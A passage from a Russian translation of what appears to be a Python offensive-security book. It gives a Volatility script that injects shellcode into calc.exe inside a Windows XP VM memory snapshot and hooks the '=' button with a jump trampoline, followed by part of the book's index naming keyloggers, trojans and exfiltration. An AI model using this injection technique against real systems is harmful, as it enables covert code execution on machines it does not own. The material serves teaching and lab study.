Установка Kali Linux
Скачать 2.4 Mb.
|
Volatility, чтобы провернуть это грязное дельце. Это будет многоэтапный процесс. Сначала нам будет нужно просканировать память, чтобы найти процесс calc.exe, а затем пройтись по его объему памяти, чтобы найти место, куда внедрить шелл-код, а также найти физическое смещение в снимке RAM, который содержит функцию, найденную нами ранее. Затем мы вставим небольшой переход в функцию адреса для кнопки =, которая «перпрыгнет» в наш шелл-код и исполнит его. Шелл-код в этом примере я взял из своего выступления на канадско конференции по безопасности. Этот шелл- код использует жестко закодированные смещения, поэтому у вас расстояние может быть отличаться [27]. Открываем новый файл, называем его code_inject.py и вбиваем следующий код. importimportsys struct equals_button = 0x01005D51 memory_file = "WinXPSP2.vmem" slack_space = None trampoline_offset = None # read in our shellcode sc_fd = open("cmeasure.bin","rb") ➊ sc = sc_fd.read() sc_fd.close() sys.path.append("/Users/justin/Downloads/volatility2.3.1") import volatility.conf as conf import volatility.registry as registry registry.PluginImporter() config = conf.ConfObject() import volatility.commands as commands import volatility.addrspace as addrspace registry.register_global_options(config, commands.Command) registry.register_global_options(config, addrspace.BaseAddressSpace) config.parse_options() config.PROFILE = "WinXPSP2x86" config.LOCATION = "file://%s" % memory_file Этот код настройки идентичен предыдущему коду, который мы писали, за исключением, что мы считываем шелл-код , который будем внедрять в виртуальную машину. ➊ Теперь, давайте добавим оставшийся код на место, чтобы непосредственно осуществить внедрение. import volatility.plugins.taskmods as taskmods p = taskmods.PSList(config) ➊ for process in p.calculate(): ➋ if str(process.ImageFileName) == "calc.exe": print "[*] Found calc.exe with PID %d" % process.UniqueProcessId print "[*] Hunting for physical offsets...please wait." address_space = process.get_process_address_space() ➌ pages = address_space.get_available_pages() ➍ Сначала мы создали новый класс PSList и передали текущую конфигурацию. Модуль ➊ PSList отвечает за просмотр всех работающих процессов, обнаруженных в снимке памяти. Мы перебираем каждый процесс и если обнаруживаем ➋ calc.exe, то получаем его полное адресное пространство и все страницы памяти этого процесса . ➌ ➍ Сейчас мы просмотрим страницы памяти, чтобы найти часть памяти такого же размера, как и наш шелл-код, заполненный нулями. Мы также ищем виртуальный адрес дескриптора нашей кнопки =, чтобы мы смогли прописать наш трамплин. Введите следующий код и не забудьте об отступах. for page in pages: physical = address_space.vtop(page[0]) ➊ if physical is not None: if slack_space is None: fd = open(memory_file,"r+") ➋ fd.seek(physical) buf = fd.read(page[1]) try: ➌ offset = buf.index("\x00" * len(sc)) slack_space = page[0] + offset print "[*] Found good shellcode location!" print "[*] Virtual address: 0x%08x" % slack_space print "[*] Physical address: 0x%08x" % (physical. + offset) print "[*] Injecting shellcode." fd.seek(physical + offset) ➍ fd.write(sc) fd.flush() # create our trampoline ➎ tramp = "\xbb%s" % struct.pack(" if trampoline_offset is not None: break except: pass fd.close() # check for our target code location ➏ if page[0] <= equals_button and . equals_button < ((page[0] + page[1])7): print "[*] Found our trampoline target at: 0x%08x" . % (physical) # calculate virtual offset ➐ v_offset = equals_button page[0] # now calculate physical offset trampoline_offset = physical + v_offset print "[*] Found our trampoline target at: 0x%08x" . % (trampoline_offset) if slack_space is not None: break print "[*] Writing trampoline..." fd = open(memory_file, "r+") ➑ fd.seek(trampoline_offset) fd.write(tramp) fd.close() print "[*] Done injecting code." Отлично! Теперь давайте разберем, что делает этот код. Когда мы перебираем каждую станицу, код возвращает двучленный список, где page [0] — это адрес страницы, а page [1] — это размер страницы в байтах. Когда мы просматриваем каждую страницу памяти, сначала мы находим физическое смещение (смещение в снимке RAM на диске) там, где ➊ лежит страница. Открываем снимок RAM , ищем смещение и затем считываем всю ➋ страницу памяти. Затем мы пытаемся найти фрагмент NULL-байтов такого же размера, ➌ как и наш шелл-код. Именно здесь мы прописываем шелл-код в снимок RAM . Как только ➍ мы нашли подходящее место и внедрили шелл-код, мы берем адрес нашего шелл-кода и создаем небольшой фрагмент опкодов в х86. Эти опкоды выдают следующую сборку: ➎ mov ebx, ADDRESS_OF_SHELLCODE jmp ebx Не забывайте, что вы можете использовать функцию разбиения в Volatility, чтобы убедиться, что вы распределили байты в нужном вам количестве, и затем восстановить эти байты в своем шелл-коде. Это останется вашим домашним заданием. Последняя часть нашего кода — это проверка, осталась ли функция кнопки = на странице, где мы осуществляем итерацию . Если мы находим ее, то вычисляем смещение , а затем ➏ ➐ выписываем наш трамплин . Трамплин на месте, значит должно осуществиться ➑ исполнение шелл-кода, который мы поместили в снимок RAM. Проверка на деле Первый шаг — закрыть Immunity Debugger, если он все еще запущен и закрыть все экземпляры calc.exe. Теперь запускаем calc.exe и ваш скрипт внедрения кода. Вы должны увидеть примерно такой результат: $ python code_inject.py [*] Found calc.exe with PID 1936 [*] Hunting for physical offsets...please wait. [*] Found good shellcode location! [*] Virtual address: 0x00010817 [*] Physical address: 0x33155817 [*] Injecting shellcode. [*] Found our trampoline target at: 0x3abccd51 [*] Writing trampoline... [*] Done injecting code. Замечательно! Это должно указывать на то, что вы нашли все смещения и внедрили шелл- код. Для проверки, просто зайдите в свою виртуальную машину, наберите 3+3 и нажмите кнопку =. Появится сообщение. Теперь вы можете попробовать сделать обратное проектирование в отношении других приложений или сервисов. Можно также улучшить этот способ и попробовать провести манипуляцию в объектами ядра, которые могут имитировать поведение руткита. Это отличные способы, чтобы познакомиться с компьютерно-техническим анализом памяти или применять их в ситуациях, когда у вас есть физический доступ к машине или вы находитесь на сервере с несколькими виртуальными машинами. [26] Скачайте Immunity Debugger здесь: http://debugger.immunityinc.com/ [27] Если вы хотите написать свой MessageBox шелл-код, см. эту инструкцию: https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32 shellcoding/ Алфавитный указатель A Address Resolution Protocol, ARP Cache Poisoning with Scapy (see ARP cache poisoning) AdjustTokenPrivileges function, Windows Token Privileges AF_INET parameter, The Network: Basics ARP (Address Resolution Protocol) cache poisoning, ARP Cache Poisoning with Scapy, ARP Cache Poisoning with Scapy, ARP Cache Poisoning with Scapy, ARP Cache Poisoning with Scapy, ARP Cache Poisoning with Scapy adding supporting functions, ARP Cache Poisoning with Scapy coding poisoning script, ARP Cache Poisoning with Scapy inspecting cache, ARP Cache Poisoning with Scapy testing, ARP Cache Poisoning with Scapy B BHPFuzzer class, Burp Fuzzing Bing search engine, Kicking the Tires, Bing for Burp, Bing for Burp, Bing for Burp, Bing for Burp, Bing for Burp defining extender class, Bing for Burp functionality to parse results, Bing for Burp functionality to perform query, Bing for Burp testing, Bing for Burp, Bing for Burp bing_menu function, Bing for Burp bing_search function, Bing for Burp Biondi, Philippe, Owning the Network with Scapy BitBlt function, Taking Screenshots Browser Helper Objects, Creating the Server brute force attacks, Kicking the Tires, Brute-Forcing Directories and File Locations, Brute-Forcing Directories and File Locations, Brute-Forcing Directories and File Locations, Brute-Forcing Directories and File Locations, Brute-Forcing Directories and File Locations, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form Authentication, Kicking the Tires in HTML form authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form Authentication, Kicking the Tires administrator login form, Brute-Forcing HTML Form Authentication general settings, Brute-Forcing HTML Form Authentication HTML parsing class, Brute-Forcing HTML Form Authentication pasting in wordlist, Brute-Forcing HTML Form Authentication primary brute-forcing class, Brute-Forcing HTML Form Authentication request flow, Brute-Forcing HTML Form Authentication testing, Kicking the Tires on directories and file locations, Kicking the Tires, Brute-Forcing Directories and File Locations, Brute-Forcing Directories and File Locations, Brute-Forcing Directories and File Locations, Brute-Forcing Directories and File Locations, Brute-Forcing Directories and File Locations applying list of extensions to test for, Brute-Forcing Directories and File Locations creating list of extensions, Brute-Forcing Directories and File Locations creating Queue objects out of wordlist files, Brute-Forcing Directories and File Locations setting up wordlist, Brute-Forcing Directories and File Locations testing, Brute-Forcing Directories and File Locations build_wordlist function, Brute-Forcing HTML Form Authentication Burp Extender API, Extending Burp Proxy, Extending Burp Proxy, Extending Burp Proxy, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Kicking the Tires, Kicking the Tires, Kicking the Tires, Kicking the Tires, Bing for Burp, Bing for Burp, Bing for Burp, Bing for Burp, Bing for Burp, Turning Website Content into Password Gold, Turning Website Content into Password Gold, Turning Website Content into Password Gold, Turning Website Content into Password Gold, Turning Website Content into Password Gold creating password-guessing wordlist, Turning Website Content into Password Gold, Turning Website Content into Password Gold, Turning Website Content into Password Gold, Turning Website Content into Password Gold, Turning Website Content into Password Gold converting selected HTTP traffic into wordlist, Turning Website Content into Password Gold functionality to display wordlist, Turning Website Content into Password Gold testing, Turning Website Content into Password Gold, Turning Website Content into Password Gold creating web application fuzzers, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Kicking the Tires, Kicking the Tires, Kicking the Tires accessing Burp documentation, Burp Fuzzing implementing code to meet requirements, Burp Fuzzing loading extension, Burp Fuzzing, Burp Fuzzing simple fuzzer, Burp Fuzzing using extension in attacks, Kicking the Tires, Kicking the Tires, Kicking the Tires installing, Extending Burp Proxy, Burp Fuzzing interfacing with Bing API to show all virtual hosts, Kicking the Tires, Bing for Burp, Bing for Burp, Bing for Burp, Bing for Burp, Bing for Burp defining extender class, Bing for Burp functionality to parse results, Bing for Burp functionality to perform query, Bing for Burp testing, Bing for Burp, Bing for Burp Jython standalone JAR file, Extending Burp Proxy, Burp Fuzzing BurpExtender class, Burp Fuzzing C Cain and Abel, Kicking the Tires CANVAS, Pythonic Shellcode Execution, Pythonic Shellcode Execution channel method, SSH Tunneling ClientConnected message, SSH with Paramiko code injection, Kicking the Tires, Direct Code Injection offensive forensics automation, Direct Code Injection Windows privilege escalation, Kicking the Tires config directory, Github Command and Control connect_to_github function, Building a Github-Aware Trojan Content-Length header, Man-in-the-Browser (Kind Of) count parameter, Owning the Network with Scapy createMenuItem function, Bing for Burp createNewInstance function, Burp Fuzzing CreateProcess function, Creating a Process Monitor CredRequestHandler class, Man-in-the-Browser (Kind Of) ctypes module, Decoding the IP Layer D data directory, Github Command and Control Debug Probe tab, WingIDE, WingIDE Destination Unreachable message, Kicking the Tires, Decoding ICMP DirBuster project, Kicking the Tires dir_bruter function, Brute-Forcing Directories and File Locations display_wordlist function, Turning Website Content into Password Gold E easy_install function, Installing Kali Linux El Jefe project, Creating a Process Monitor encrypt_post function, IE COM Automation for Exfiltration encrypt_string function, IE COM Automation for Exfiltration environment setup, Setting Up Your Python Environment, Installing Kali Linux, Installing Kali Linux, Installing Kali Linux, Installing Kali Linux, Installing Kali Linux, Installing Kali Linux, Installing Kali Linux, Installing Kali Linux, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE Kali Linux, Installing Kali Linux, Installing Kali Linux, Installing Kali Linux, Installing Kali Linux, Installing Kali Linux, Installing Kali Linux default username and password, Installing Kali Linux desktop environment, Installing Kali Linux determining version, Installing Kali Linux downloading image, Installing Kali Linux general discussion, Installing Kali Linux WingIDE, Installing Kali Linux, Installing Kali Linux, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE accessing, WingIDE fixing missing dependencies, WingIDE general discussion, Installing Kali Linux inspecting and modifying local variables, WingIDE, WingIDE installing, WingIDE opening blank Python file, WingIDE setting breakpoints, WingIDE setting script for debugging, WingIDE, WingIDE viewing stack trace, WingIDE, WingIDE Errors tab, Burp, Kicking the Tires exfiltrate function, IE COM Automation for Exfiltration exfiltration, Creating the Server, IE COM Automation for Exfiltration, IE COM Automation for Exfiltration, IE COM Automation for Exfiltration, IE COM Automation for Exfiltration, IE COM Automation for Exfiltration, IE COM Automation for Exfiltration encryption routines, IE COM Automation for Exfiltration key generation script, IE COM Automation for Exfiltration login functionality, IE COM Automation for Exfiltration posting functionality, IE COM Automation for Exfiltration supporting functions, IE COM Automation for Exfiltration testing, IE COM Automation for Exfiltration Extender tab, Burp, Burp Fuzzing, Kicking the Tires, Kicking the Tires extract_image function, PCAP Processing F feed method, Brute-Forcing HTML Form Authentication Fidao, Chris, PCAP Processing FileCookieJar class, Brute-Forcing HTML Form Authentication filter parameter, Owning the Network with Scapy find_module function, Hacking Python’s import Functionality forward SSH tunneling, Kicking the Tires, Kicking the Tires Frisch, Dan, Windows Privilege Escalation G GDI (Windows Graphics Device Interface), Kicking the Tires GET requests, The Socket Library of the Web: urllib2 GetAsyncKeyState function, Sandbox Detection GetForeGroundWindow function, Keylogging for Fun and Keystrokes getGeneratorName function, Burp Fuzzing GetLastInputInfo function, Sandbox Detection getNextPayload function, Burp Fuzzing GetOwner function, Process Monitoring with WMI GetTickCount function, Sandbox Detection GetWindowDC function, Taking Screenshots GetWindowTextA function, Keylogging for Fun and Keystrokes GetWindowThreadProcessId function, Keylogging for Fun and Keystrokes get_file_contents function, Building a Github-Aware Trojan get_http_headers function, PCAP Processing get_mac function, ARP Cache Poisoning with Scapy get_trojan_config function, Building a Github-Aware Trojan get_words function, Turning Website Content into Password Gold GitHub-aware trojans, Github Command and Control, Github Command and Control, Creating Modules, Trojan Configuration, Building a Github-Aware Trojan, Hacking Python’s import Functionality, Hacking Python’s import Functionality, Kicking the Tires account setup, Github Command and Control building, Building a Github-Aware Trojan configuring, Trojan Configuration creating modules, Creating Modules hacking import functionality, Hacking Python’s import Functionality improvements and enhancements to, Kicking the Tires testing, Hacking Python’s import Functionality github3 module, Installing Kali Linux GitImporter class, Hacking Python’s import Functionality H handle_client function, TCP Server handle_comment function, Turning Website Content into Password Gold handle_data function, Brute-Forcing HTML Form Authentication, Turning Website Content into Password Gold handle_endtag function, Brute-Forcing HTML Form Authentication handle_starttag function, Brute-Forcing HTML Form Authentication HashDump object, Grabbing Password Hashes hashdump plugin, Grabbing Password Hashes hasMorePayloads function, Burp Fuzzing hex dumping function, Building a TCP Proxy hivelist plugin, Grabbing Password Hashes HookManager class, Keylogging for Fun and Keystrokes |